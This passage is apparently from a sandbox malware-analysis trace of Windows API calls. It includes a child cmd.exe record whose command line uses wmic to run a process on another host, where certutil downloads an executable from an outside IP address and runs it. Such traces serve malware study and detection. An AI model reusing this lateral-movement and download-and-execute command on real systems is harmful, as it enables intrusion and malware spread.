len=0x1b | out: pbstr=0x28f04c*="c:\\windows\\system32\\cmd.exe") returned 1 [0093.493] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0093.493] SysReAllocStringLen (in: pbstr=0x28f028*="c:", psz="c:", len=0x2 | out: pbstr=0x28f028*="c:") returned 1 [0093.494] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\windows\\system32\\cmd.exe", cchLength=0x30 | out: lpsz="\\device\\harddiskvolume1\\windows\\system32\\cmd.exe") returned 0x30 [0093.494] SysReAllocStringLen (in: pbstr=0x47416c*=0x0, psz="\\device\\harddiskvolume1\\windows\\system32\\cmd.exe", len=0x30 | out: pbstr=0x47416c*="\\device\\harddiskvolume1\\windows\\system32\\cmd.exe") returned 1 [0093.494] SysReAllocStringLen (in: pbstr=0x474190*=0x0, psz="device", len=0x6 | out: pbstr=0x474190*="device") returned 1 [0093.494] SysReAllocStringLen (in: pbstr=0x4741b0*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x4741b0*="harddiskvolume1") returned 1 [0093.494] SysReAllocStringLen (in: pbstr=0x4741bc*=0x0, psz="windows", len=0x7 | out: pbstr=0x4741bc*="windows") returned 1 [0093.494] SysReAllocStringLen (in: pbstr=0x4741c8*=0x0, psz="system32", len=0x8 | out: pbstr=0x4741c8*="system32") returned 1 [0093.494] SysReAllocStringLen (in: pbstr=0x4741d4*=0x0, psz="cmd.exe", len=0x7 | out: pbstr=0x4741d4*="cmd.exe") returned 1 [0093.495] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28dfa4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="deviceA", lpUsedDefaultChar=0x0) returned 6 [0093.495] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28dfa4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0093.495] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x28dfa4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windowskvolume1", lpUsedDefaultChar=0x0) returned 7 [0093.495] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="system32", cchWideChar=8, lpMultiByteStr=0x28dfa4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system32volume1", lpUsedDefaultChar=0x0) returned 8 [0093.495] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="cmd.exe", cchWideChar=7, lpMultiByteStr=0x28dfa4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmd.exe2volume1", lpUsedDefaultChar=0x0) returned 7 [0093.495] GetCurrentThreadId () returned 0x24c [0093.495] GetCurrentThreadId () returned 0x24c [0093.495] GetCurrentThreadId () returned 0x24c [0093.495] GetCurrentThreadId () returned 0x24c [0093.495] GetCurrentThreadId () returned 0x24c [0093.496] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.496] GetCurrentThreadId () returned 0x24c [0093.496] GetCurrentThreadId () returned 0x24c [0093.496] GetCurrentThreadId () returned 0x24c [0093.496] SetEvent (hEvent=0xd4) returned 1 [0093.502] GetCurrentThreadId () returned 0x24c [0093.502] GetCurrentThreadId () returned 0x24c [0093.502] GetCurrentThreadId () returned 0x24c [0093.502] GetCurrentThreadId () returned 0x24c [0093.502] GetCurrentThreadId () returned 0x24c [0093.502] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.502] GetCurrentThreadId () returned 0x24c [0093.502] GetCurrentThreadId () returned 0x24c [0093.502] GetCurrentThreadId () returned 0x24c [0093.502] SetEvent (hEvent=0xd4) returned 1 [0093.502] GetCurrentThreadId () returned 0x24c [0093.502] GetCurrentThreadId () returned 0x24c [0093.502] GetCurrentThreadId () returned 0x24c [0093.502] GetCurrentThreadId () returned 0x24c [0093.502] GetCurrentThreadId () returned 0x24c [0093.502] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.502] GetCurrentThreadId () returned 0x24c [0093.502] GetCurrentThreadId () returned 0x24c [0093.502] GetCurrentThreadId () returned 0x24c [0093.502] SetEvent (hEvent=0xd4) returned 1 [0093.503] GetCurrentThreadId () returned 0x24c [0093.503] GetCurrentThreadId () returned 0x24c [0093.503] GetCurrentThreadId () returned 0x24c [0093.503] GetCurrentThreadId () returned 0x24c [0093.503] GetCurrentThreadId () returned 0x24c [0093.503] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.503] GetCurrentThreadId () returned 0x24c [0093.503] GetCurrentThreadId () returned 0x24c [0093.503] GetCurrentThreadId () returned 0x24c [0093.503] SetEvent (hEvent=0xd4) returned 1 [0093.503] GetCurrentThreadId () returned 0x24c [0093.503] GetCurrentThreadId () returned 0x24c [0093.503] GetCurrentThreadId () returned 0x24c [0093.503] GetCurrentThreadId () returned 0x24c [0093.503] GetCurrentThreadId () returned 0x24c [0093.503] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.503] GetCurrentThreadId () returned 0x24c [0093.503] GetCurrentThreadId () returned 0x24c [0093.503] GetCurrentThreadId () returned 0x24c [0093.503] SetEvent (hEvent=0xd4) returned 1 [0093.503] GetCurrentThreadId () returned 0x24c [0093.503] GetCurrentThreadId () returned 0x24c [0093.503] GetCurrentThreadId () returned 0x24c [0093.503] GetCurrentThreadId () returned 0x24c [0093.503] GetCurrentThreadId () returned 0x24c [0093.503] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.503] GetCurrentThreadId () returned 0x24c [0093.504] GetCurrentThreadId () returned 0x24c [0093.504] GetCurrentThreadId () returned 0x24c [0093.504] SetEvent (hEvent=0xd4) returned 1 [0093.504] GetCurrentThreadId () returned 0x24c [0093.504] GetCurrentThreadId () returned 0x24c [0093.504] GetCurrentThreadId () returned 0x24c [0093.504] GetCurrentThreadId () returned 0x24c [0093.504] GetCurrentThreadId () returned 0x24c [0093.504] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.504] GetCurrentThreadId () returned 0x24c [0093.504] GetCurrentThreadId () returned 0x24c [0093.504] GetCurrentThreadId () returned 0x24c [0093.504] SetEvent (hEvent=0xd4) returned 1 [0093.504] GetCurrentThreadId () returned 0x24c [0093.504] GetCurrentThreadId () returned 0x24c [0093.504] GetCurrentThreadId () returned 0x24c [0093.504] GetCurrentThreadId () returned 0x24c [0093.504] GetCurrentThreadId () returned 0x24c [0093.504] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.504] GetCurrentThreadId () returned 0x24c [0093.504] GetCurrentThreadId () returned 0x24c [0093.504] GetCurrentThreadId () returned 0x24c [0093.504] SetEvent (hEvent=0xd4) returned 1 [0093.505] GetCurrentThreadId () returned 0x24c [0093.505] GetCurrentThreadId () returned 0x24c [0093.505] GetCurrentThreadId () returned 0x24c [0093.505] GetCurrentThreadId () returned 0x24c [0093.505] GetCurrentThreadId () returned 0x24c [0093.505] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.505] GetCurrentThreadId () returned 0x24c [0093.505] GetCurrentThreadId () returned 0x24c [0093.505] GetCurrentThreadId () returned 0x24c [0093.505] SetEvent (hEvent=0xd4) returned 1 [0093.505] GetCurrentThreadId () returned 0x24c [0093.505] GetCurrentThreadId () returned 0x24c [0093.505] GetCurrentThreadId () returned 0x24c [0093.505] GetCurrentThreadId () returned 0x24c [0093.505] GetCurrentThreadId () returned 0x24c [0093.505] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.505] GetCurrentThreadId () returned 0x24c [0093.505] GetCurrentThreadId () returned 0x24c [0093.505] GetCurrentThreadId () returned 0x24c [0093.505] SetEvent (hEvent=0xd4) returned 1 [0093.505] GetCurrentThreadId () returned 0x24c [0093.505] GetCurrentThreadId () returned 0x24c [0093.505] GetCurrentThreadId () returned 0x24c [0093.505] GetCurrentThreadId () returned 0x24c [0093.505] GetCurrentThreadId () returned 0x24c [0093.505] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.505] GetCurrentThreadId () returned 0x24c [0093.505] GetCurrentThreadId () returned 0x24c [0093.506] GetCurrentThreadId () returned 0x24c [0093.506] SetEvent (hEvent=0xd4) returned 1 [0093.506] GetCurrentThreadId () returned 0x24c [0093.506] GetCurrentThreadId () returned 0x24c [0093.506] GetCurrentThreadId () returned 0x24c [0093.506] GetCurrentThreadId () returned 0x24c [0093.506] GetCurrentThreadId () returned 0x24c [0093.506] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.506] GetCurrentThreadId () returned 0x24c [0093.506] GetCurrentThreadId () returned 0x24c [0093.506] GetCurrentThreadId () returned 0x24c [0093.506] SetEvent (hEvent=0xd4) returned 1 [0093.507] GetCurrentThreadId () returned 0x24c [0093.507] GetCurrentThreadId () returned 0x24c [0093.507] GetCurrentThreadId () returned 0x24c [0093.507] GetCurrentThreadId () returned 0x24c [0093.507] GetCurrentThreadId () returned 0x24c [0093.507] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.507] GetCurrentThreadId () returned 0x24c [0093.507] GetCurrentThreadId () returned 0x24c [0093.507] GetCurrentThreadId () returned 0x24c [0093.507] SetEvent (hEvent=0xd4) returned 1 [0093.507] GetCurrentThreadId () returned 0x24c [0093.507] GetCurrentThreadId () returned 0x24c [0093.507] GetCurrentThreadId () returned 0x24c [0093.507] GetCurrentThreadId () returned 0x24c [0093.507] GetCurrentThreadId () returned 0x24c [0093.507] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.507] GetCurrentThreadId () returned 0x24c [0093.507] GetCurrentThreadId () returned 0x24c [0093.507] GetCurrentThreadId () returned 0x24c [0093.507] SetEvent (hEvent=0xd4) returned 1 [0093.508] GetCurrentThreadId () returned 0x24c [0093.508] GetCurrentThreadId () returned 0x24c [0093.508] GetCurrentThreadId () returned 0x24c [0093.508] GetCurrentThreadId () returned 0x24c [0093.508] GetCurrentThreadId () returned 0x24c [0093.508] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.508] GetCurrentThreadId () returned 0x24c [0093.508] GetCurrentThreadId () returned 0x24c [0093.508] GetCurrentThreadId () returned 0x24c [0093.508] SetEvent (hEvent=0xd4) returned 1 [0093.508] GetCurrentThreadId () returned 0x24c [0093.508] GetCurrentThreadId () returned 0x24c [0093.508] GetCurrentThreadId () returned 0x24c [0093.508] GetCurrentThreadId () returned 0x24c [0093.508] GetCurrentThreadId () returned 0x24c [0093.508] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.508] GetCurrentThreadId () returned 0x24c [0093.508] GetCurrentThreadId () returned 0x24c [0093.508] GetCurrentThreadId () returned 0x24c [0093.508] SetEvent (hEvent=0xd4) returned 1 [0093.508] GetCurrentThreadId () returned 0x24c [0093.508] GetCurrentThreadId () returned 0x24c [0093.509] GetCurrentThreadId () returned 0x24c [0093.509] GetCurrentThreadId () returned 0x24c [0093.509] GetCurrentThreadId () returned 0x24c [0093.509] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.509] GetCurrentThreadId () returned 0x24c [0093.509] GetCurrentThreadId () returned 0x24c [0093.509] GetCurrentThreadId () returned 0x24c [0093.509] SetEvent (hEvent=0xd4) returned 1 [0093.509] GetCurrentThreadId () returned 0x24c [0093.509] GetCurrentThreadId () returned 0x24c [0093.509] GetCurrentThreadId () returned 0x24c [0093.509] GetCurrentThreadId () returned 0x24c [0093.509] GetCurrentThreadId () returned 0x24c [0093.509] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.509] GetCurrentThreadId () returned 0x24c [0093.509] GetCurrentThreadId () returned 0x24c [0093.509] GetCurrentThreadId () returned 0x24c [0093.509] SetEvent (hEvent=0xd4) returned 1 [0093.509] GetCurrentThreadId () returned 0x24c [0093.509] GetCurrentThreadId () returned 0x24c [0093.509] GetCurrentThreadId () returned 0x24c [0093.509] GetCurrentThreadId () returned 0x24c [0093.509] GetCurrentThreadId () returned 0x24c [0093.509] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.509] GetCurrentThreadId () returned 0x24c [0093.509] GetCurrentThreadId () returned 0x24c [0093.509] GetCurrentThreadId () returned 0x24c [0093.509] SetEvent (hEvent=0xd4) returned 1 [0093.509] GetCurrentThreadId () returned 0x24c [0093.509] GetCurrentThreadId () returned 0x24c [0093.510] GetCurrentThreadId () returned 0x24c [0093.510] GetCurrentThreadId () returned 0x24c [0093.510] GetCurrentThreadId () returned 0x24c [0093.510] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.510] GetCurrentThreadId () returned 0x24c [0093.510] GetCurrentThreadId () returned 0x24c [0093.510] GetCurrentThreadId () returned 0x24c [0093.510] SetEvent (hEvent=0xd4) returned 1 [0093.510] GetCurrentThreadId () returned 0x24c [0093.510] GetCurrentThreadId () returned 0x24c [0093.510] GetCurrentThreadId () returned 0x24c [0093.510] GetCurrentThreadId () returned 0x24c [0093.510] GetCurrentThreadId () returned 0x24c [0093.510] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.510] GetCurrentThreadId () returned 0x24c [0093.510] GetCurrentThreadId () returned 0x24c [0093.510] GetCurrentThreadId () returned 0x24c [0093.510] SetEvent (hEvent=0xd4) returned 1 [0093.510] GetCurrentThreadId () returned 0x24c [0093.510] GetCurrentThreadId () returned 0x24c [0093.510] GetCurrentThreadId () returned 0x24c [0093.510] GetCurrentThreadId () returned 0x24c [0093.510] GetCurrentThreadId () returned 0x24c [0093.511] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.511] GetCurrentThreadId () returned 0x24c [0093.511] GetCurrentThreadId () returned 0x24c [0093.511] GetCurrentThreadId () returned 0x24c [0093.511] SetEvent (hEvent=0xd4) returned 1 [0093.511] GetCurrentThreadId () returned 0x24c [0093.511] GetCurrentThreadId () returned 0x24c [0093.511] GetCurrentThreadId () returned 0x24c [0093.514] GetCurrentThreadId () returned 0x24c [0093.514] GetCurrentThreadId () returned 0x24c [0093.514] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.514] GetCurrentThreadId () returned 0x24c [0093.514] GetCurrentThreadId () returned 0x24c [0093.514] GetCurrentThreadId () returned 0x24c [0093.514] SetEvent (hEvent=0xd4) returned 1 [0093.514] GetCurrentThreadId () returned 0x24c [0093.514] GetCurrentThreadId () returned 0x24c [0093.514] GetCurrentThreadId () returned 0x24c [0093.514] GetCurrentThreadId () returned 0x24c [0093.514] GetCurrentThreadId () returned 0x24c [0093.514] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.514] GetCurrentThreadId () returned 0x24c [0093.514] GetCurrentThreadId () returned 0x24c [0093.514] GetCurrentThreadId () returned 0x24c [0093.514] SetEvent (hEvent=0xd4) returned 1 [0093.514] GetCurrentThreadId () returned 0x24c [0093.514] GetCurrentThreadId () returned 0x24c [0093.514] GetCurrentThreadId () returned 0x24c [0093.514] GetCurrentThreadId () returned 0x24c [0093.514] GetCurrentThreadId () returned 0x24c [0093.514] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.514] GetCurrentThreadId () returned 0x24c [0093.514] GetCurrentThreadId () returned 0x24c [0093.514] GetCurrentThreadId () returned 0x24c [0093.514] SetEvent (hEvent=0xd4) returned 1 [0093.514] GetCurrentThreadId () returned 0x24c [0093.514] GetCurrentThreadId () returned 0x24c [0093.515] GetCurrentThreadId () returned 0x24c [0093.515] GetCurrentThreadId () returned 0x24c [0093.515] GetCurrentThreadId () returned 0x24c [0093.515] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.515] GetCurrentThreadId () returned 0x24c [0093.515] GetCurrentThreadId () returned 0x24c [0093.515] GetCurrentThreadId () returned 0x24c [0093.515] SetEvent (hEvent=0xd4) returned 1 [0093.515] GetCurrentThreadId () returned 0x24c [0093.515] GetCurrentThreadId () returned 0x24c [0093.515] GetCurrentThreadId () returned 0x24c [0093.515] GetCurrentThreadId () returned 0x24c [0093.515] GetCurrentThreadId () returned 0x24c [0093.515] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.515] GetCurrentThreadId () returned 0x24c [0093.515] GetCurrentThreadId () returned 0x24c [0093.515] GetCurrentThreadId () returned 0x24c [0093.515] SetEvent (hEvent=0xd4) returned 1 [0093.515] GetCurrentThreadId () returned 0x24c [0093.515] GetCurrentThreadId () returned 0x24c [0093.515] GetCurrentThreadId () returned 0x24c [0093.515] GetCurrentThreadId () returned 0x24c [0093.516] GetCurrentThreadId () returned 0x24c [0093.516] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.516] GetCurrentThreadId () returned 0x24c [0093.516] GetCurrentThreadId () returned 0x24c [0093.516] GetCurrentThreadId () returned 0x24c [0093.516] SetEvent (hEvent=0xd4) returned 1 [0093.516] GetCurrentThreadId () returned 0x24c [0093.516] GetCurrentThreadId () returned 0x24c [0093.516] GetCurrentThreadId () returned 0x24c [0093.516] GetCurrentThreadId () returned 0x24c [0093.516] GetCurrentThreadId () returned 0x24c [0093.516] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.516] GetCurrentThreadId () returned 0x24c [0093.516] GetCurrentThreadId () returned 0x24c [0093.516] GetCurrentThreadId () returned 0x24c [0093.516] SetEvent (hEvent=0xd4) returned 1 [0093.516] GetCurrentThreadId () returned 0x24c [0093.516] GetCurrentThreadId () returned 0x24c [0093.516] GetCurrentThreadId () returned 0x24c [0093.516] GetCurrentThreadId () returned 0x24c [0093.516] GetCurrentThreadId () returned 0x24c [0093.516] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.516] GetCurrentThreadId () returned 0x24c [0093.516] GetCurrentThreadId () returned 0x24c [0093.516] GetCurrentThreadId () returned 0x24c [0093.516] SetEvent (hEvent=0xd4) returned 1 [0093.516] GetCurrentThreadId () returned 0x24c [0093.517] GetCurrentThreadId () returned 0x24c [0093.517] GetCurrentThreadId () returned 0x24c [0093.517] GetCurrentThreadId () returned 0x24c [0093.517] GetCurrentThreadId () returned 0x24c [0093.517] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.517] GetCurrentThreadId () returned 0x24c [0093.517] GetCurrentThreadId () returned 0x24c [0093.517] GetCurrentThreadId () returned 0x24c [0093.517] SetEvent (hEvent=0xd4) returned 1 [0093.517] GetCurrentThreadId () returned 0x24c [0093.612] GetThreadLocale () returned 0x409 [0093.612] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Thread", cchCount1=-1, lpString2="Thread", cchCount2=-1) returned 2 [0093.613] GetCurrentThreadId () returned 0x24c [0093.613] GetCurrentThreadId () returned 0x24c [0093.613] GetCurrentThreadId () returned 0x24c [0093.613] GetCurrentThreadId () returned 0x24c [0093.613] GetCurrentThreadId () returned 0x24c [0093.613] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.613] GetCurrentThreadId () returned 0x24c [0093.613] GetCurrentThreadId () returned 0x24c [0093.613] GetCurrentThreadId () returned 0x24c [0093.613] SetEvent (hEvent=0xd4) returned 1 [0093.613] GetCurrentThreadId () returned 0x24c [0093.613] GetCurrentThreadId () returned 0x24c [0093.613] GetCurrentThreadId () returned 0x24c [0093.613] GetCurrentThreadId () returned 0x24c [0093.613] GetCurrentThreadId () returned 0x24c [0093.613] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.613] GetCurrentThreadId () returned 0x24c [0093.613] GetCurrentThreadId () returned 0x24c [0093.613] GetCurrentThreadId () returned 0x24c [0093.613] SetEvent (hEvent=0xd4) returned 1 [0093.613] GetThreadLocale () returned 0x409 [0093.614] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Section", cchCount1=-1, lpString2="Process", cchCount2=-1) returned 3 [0093.614] HeapFree (in: hHeap=0x740000, dwFlags=0x0, lpMem=0x75bef0 | out: hHeap=0x740000) returned 1 [0093.614] HeapFree (in: hHeap=0x740000, dwFlags=0x0, lpMem=0x765720 | out: hHeap=0x740000) returned 1 [0093.614] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0xffffffff) returned 0x0 [0117.598] GetExitCodeProcess (in: hProcess=0x1b0, lpExitCode=0x28fac8 | out: lpExitCode=0x28fac8*=0x0) returned 1 [0117.598] CloseHandle (hObject=0x1ac) returned 1 [0117.598] GetCurrentThreadId () returned 0x24c [0117.598] GetCurrentThreadId () returned 0x24c [0117.598] GetCurrentThreadId () returned 0x24c [0117.598] GetCurrentThreadId () returned 0x24c [0117.598] GetCurrentThreadId () returned 0x24c [0117.598] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0117.599] GetCurrentThreadId () returned 0x24c [0117.599] GetCurrentThreadId () returned 0x24c [0117.599] GetCurrentThreadId () returned 0x24c [0117.599] SetEvent (hEvent=0xd4) returned 1 [0117.599] GetCurrentThreadId () returned 0x24c [0117.599] GetCurrentThreadId () returned 0x24c [0117.599] GetCurrentThreadId () returned 0x24c [0117.599] GetCurrentThreadId () returned 0x24c [0117.599] GetCurrentThreadId () returned 0x24c [0117.599] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0117.599] GetCurrentThreadId () returned 0x24c [0117.599] GetCurrentThreadId () returned 0x24c [0117.599] GetCurrentThreadId () returned 0x24c [0117.599] SetEvent (hEvent=0xd4) returned 1 [0117.599] CloseHandle (hObject=0x1b0) returned 1 [0117.599] GetCurrentThreadId () returned 0x24c [0117.599] GetCurrentThreadId () returned 0x24c [0117.599] GetCurrentThreadId () returned 0x24c [0117.599] GetCurrentThreadId () returned 0x24c [0117.599] GetCurrentThreadId () returned 0x24c [0117.599] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0117.599] GetCurrentThreadId () returned 0x24c [0117.599] GetCurrentThreadId () returned 0x24c [0117.599] GetCurrentThreadId () returned 0x24c [0117.599] SetEvent (hEvent=0xd4) returned 1 [0117.599] GetCurrentThreadId () returned 0x24c [0117.600] GetCurrentThreadId () returned 0x24c [0117.600] GetCurrentThreadId () returned 0x24c [0117.600] GetCurrentThreadId () returned 0x24c [0117.600] GetCurrentThreadId () returned 0x24c [0117.600] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0117.600] GetCurrentThreadId () returned 0x24c [0117.600] GetCurrentThreadId () returned 0x24c [0117.600] GetCurrentThreadId () returned 0x24c [0117.600] SetEvent (hEvent=0xd4) returned 1 [0117.600] GetThreadLocale () returned 0x409 [0117.600] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Process", cchCount1=-1, lpString2="Process", cchCount2=-1) returned 2 [0117.600] GetCurrentThreadId () returned 0x24c [0117.600] GetCurrentThreadId () returned 0x24c [0117.600] GetCurrentThreadId () returned 0x24c [0117.600] GetCurrentThreadId () returned 0x24c [0117.600] GetCurrentThreadId () returned 0x24c [0117.600] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0117.600] GetCurrentThreadId () returned 0x24c [0117.600] GetCurrentThreadId () returned 0x24c [0117.600] GetCurrentThreadId () returned 0x24c [0117.600] SetEvent (hEvent=0xe4) returned 1 [0117.600] HeapFree (in: hHeap=0x740000, dwFlags=0x0, lpMem=0x75c128 | out: hHeap=0x740000) returned 1 [0117.600] HeapFree (in: hHeap=0x740000, dwFlags=0x0, lpMem=0x75be90 | out: hHeap=0x740000) returned 1 [0117.600] GetLastError () returned 0x0 [0117.601] SetLastError (dwErrCode=0x0) [0117.601] HeapFree (in: hHeap=0x740000, dwFlags=0x0, lpMem=0x770378 | out: hHeap=0x740000) returned 1 [0117.601] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0117.601] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0117.601] HeapFree (in: hHeap=0x740000, dwFlags=0x0, lpMem=0x75ca68 | out: hHeap=0x740000) returned 1 [0117.601] HeapFree (in: hHeap=0x740000, dwFlags=0x0, lpMem=0x7705c0 | out: hHeap=0x740000) returned 1 [0117.601] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-2", hFile=0x0, dwFlags=0x800) returned 0x0 [0117.601] GetLastError () returned 0x57 [0117.602] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x28fefc | out: phModule=0x28fefc) returned 0 [0117.602] ExitProcess (uExitCode=0x0) [0117.602] HeapFree (in: hHeap=0x740000, dwFlags=0x0, lpMem=0x76ee48 | out: hHeap=0x740000) returned 1 [0117.607] VirtualQuery (in: lpAddress=0x430d14, lpBuffer=0x28fce8, dwLength=0x1c | out: lpBuffer=0x28fce8*(BaseAddress=0x430000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x1f000, State=0x1000, Protect=0x80, Type=0x1000000)) returned 0x1c [0117.608] GetCurrentThreadId () returned 0x24c [0117.608] ResetEvent (hEvent=0xa0) returned 1 [0117.608] GetCurrentThreadId () returned 0x24c [0117.608] GetCurrentThreadId () returned 0x24c [0117.608] GetCurrentThreadId () returned 0x24c [0117.608] ResetEvent (hEvent=0xa0) returned 1 [0117.608] GetCurrentThreadId () returned 0x24c [0117.608] CloseHandle (hObject=0xa0) returned 1 [0117.608] CloseHandle (hObject=0xa4) returned 1 [0117.609] CloseHandle (hObject=0x9c) returned 1 [0117.611] LocalFree (hMem=0x7550e8) returned 0x0 [0117.611] VirtualFree (lpAddress=0x610000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.613] VirtualFree (lpAddress=0x460000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.614] LocalFree (hMem=0x7560e8) returned 0x0 [0117.614] LocalFree (hMem=0x754258) returned 0x0 Process: id = "8" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x30538000" os_pid = "0x124" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0xb7c" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /c wmic /node:192.168.0.171 process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 425 os_tid = 0x55c [0092.308] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28f814 | out: lpSystemTimeAsFileTime=0x28f814*(dwLowDateTime=0x8dc0c760, dwHighDateTime=0x1d5ca1f)) [0092.308] GetCurrentProcessId () returned 0x124 [0092.308] GetCurrentThreadId () returned 0x55c [0092.308] GetTickCount () returned 0x115ffb3 [0092.308] QueryPerformanceCounter (in: lpPerformanceCount=0x28f80c | out: lpPerformanceCount=0x28f80c*=23341792603) returned 1 [0092.309] GetModuleHandleA (lpModuleName=0x0) returned 0x4aa20000 [0092.309] __set_app_type (_Type=0x1) [0092.309] __p__fmode () returned 0x76be31f4 [0092.309] __p__commode () returned 0x76be31fc [0092.309] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4aa421a6) returned 0x0 [0092.309] __getmainargs (in: _Argc=0x4aa44238, _Argv=0x4aa44240, _Env=0x4aa4423c, _DoWildCard=0, _StartInfo=0x4aa44140 | out: _Argc=0x4aa44238, _Argv=0x4aa44240, _Env=0x4aa4423c) returned 0 [0092.309] GetCurrentThreadId () returned 0x55c [0092.310] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x55c) returned 0x60 [0092.310] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0092.310] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0092.310] SetThreadUILanguage (LangId=0x0) returned 0x409 [0092.310] HeapSetInformation (HeapHandle=0x0, 